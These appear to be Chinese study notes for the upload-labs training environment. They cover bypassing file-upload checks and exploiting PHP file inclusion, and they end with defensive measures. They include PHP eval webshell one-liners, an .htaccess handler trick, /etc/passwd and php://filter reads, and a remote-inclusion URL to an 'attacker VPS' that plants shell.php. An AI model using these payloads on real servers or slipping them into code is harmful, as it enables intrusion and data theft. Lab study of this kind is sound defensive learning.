Upload-labs
环境下载:https://github.com/c0ny1/upload-labs
通关手册:https://xz.aliyun.com/t/2435
客户端校验
javascript校验(一般只校验后缀名)upload-labs 第一关(浏览器 bp都可以).
服务端校验
- content-type验证 upload-labs 第二关
- 文件扩展名校验 (`白名单`、`黑名单`) upload-labs 第三关
- 文件内容头校验(`GIF89a`)文件幻数检测
- 文件内容检测 (检测内容是否合法或含有恶意代码,二次渲染配合文件包含二次渲染 https://xz.aliyun.com/t/2657#toc-3)
绕过
找漏网之鱼:php3,php4,php7等 (PHP版本<5.3可使用%00截断)
第三关若要成功访问.php3,则需要在Apache中添加语句,也可以添加其它任意扩展名,都执行.php程序
AddType application/x-httpd-php .php .php3 .php5 .php7
大小写绕过:AsP、pHP
文件后缀双写绕过 php ""
上传不符合windows文件命名规则的文件名 test.php:1.jpg test.php::$DATA 会被windows系统自动去掉不符合规则符号后面的内容
配合解析漏洞绕过
%00截断 (PHP<5.3.4时 shell.php%00.jpg 可截断%00后的内容) 配合解析漏洞绕过
c语言里面的%00
.htaccess绕过
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:
URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
<FilesMatch "1.jpg"> //匹配文件
SetHandler application/x-httpd-php
//SetHandler方法将1.jpg当成php代码执行
</FilesMatch>
// 作用范围 当前目录
内容检测
一般来说是对上传的文件的内容进行一个检测,比如<? ?> php 等等
绕过思路是去构造免杀的webshell
<script language=php>@eval($_POST[123]);</script> #PHP5 支持,这里是通过使用标签来构造免杀
构造优质上传漏洞Fuzz字典:https://www.freebuf.com/articles/web/188464.html
防御
- 文件扩展名服务端白名单效验
- 文件内容服务端效验 <? php
- 上传文件重命名
- 隐藏上传文件路径
- 限制相关目录的执行权限,防范WebShell攻击
文件包含
文件包含是允许将包含的任意文件,只要满足php代码格式的文件都会当成PHP代码执行。
include() //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
include_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
require() //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
本地文件包含(LFI)
1.读敏感文件
?file=/etc/passwd
2.利用封装协议读源码
?file=php://filter/read=convert.base64-encode/resource=index.php #这样能看到php文件的源码
封装协议的原理:
包含日志文件getshell
根据提示或其它途径得知日志文件的目录,访问目录可以看到日志文件的一些内容,User-Agent还可以修改成其它的php代码。(%20表示为空格)
包含图片Getshell
在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码.
这里使用到一个空的jpg文件,和一个包含一句话木马的php文件
<?php eval($_POST[1]);?>
再使用一个批处理文件将两者合成一个名为exe.jpg的文件
copy 1.png/b + 1.php/a exp.jpg
使用编辑器查看
PHP中的封装协议(伪协议)
file://
用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()参数可控的情况下
php://
条件:
allow_url_fopen:off/on
allow_url_include : 部分需要on (下面列出)
php://input #用的比较多 输入流
作用:
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter 和 php://input
php://filter用于读取源码,php://input用于执行php代码
data://
条件:
allow_url_fopen:on
allow_url_include :on
作用:
自PHP>=5.2.0起,可以使用 data:// 数据流封装器,以传递相应格式的数据。
通常可以用来执行PHP代码
远程文件包含(RFL)
服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。
条件:
'php.ini`中开启`allow_url_include`、`allow_url_fopen`选项。
远程包含Webshell
?arg=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马
shell.txt内容为:
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>
绕过姿势
url编码绕过
如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过
%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
文件包含getshell
浅析php文件包含及其getshell的姿势:https://xz.aliyun.com/t/5535#toc-2
防御
- 禁止远程文件包含 `allow_url_include=off`
- 配置 `open_basedir=指定目录`,限制访问区域。
- 过滤`../`等特殊符号
- 修改Apache日志文件的存放地址
- 开启魔术引号 `magic_quotes_qpc=on php 4 5`
- 尽量不要使用动态变量调用文件,直接写要包含的文件。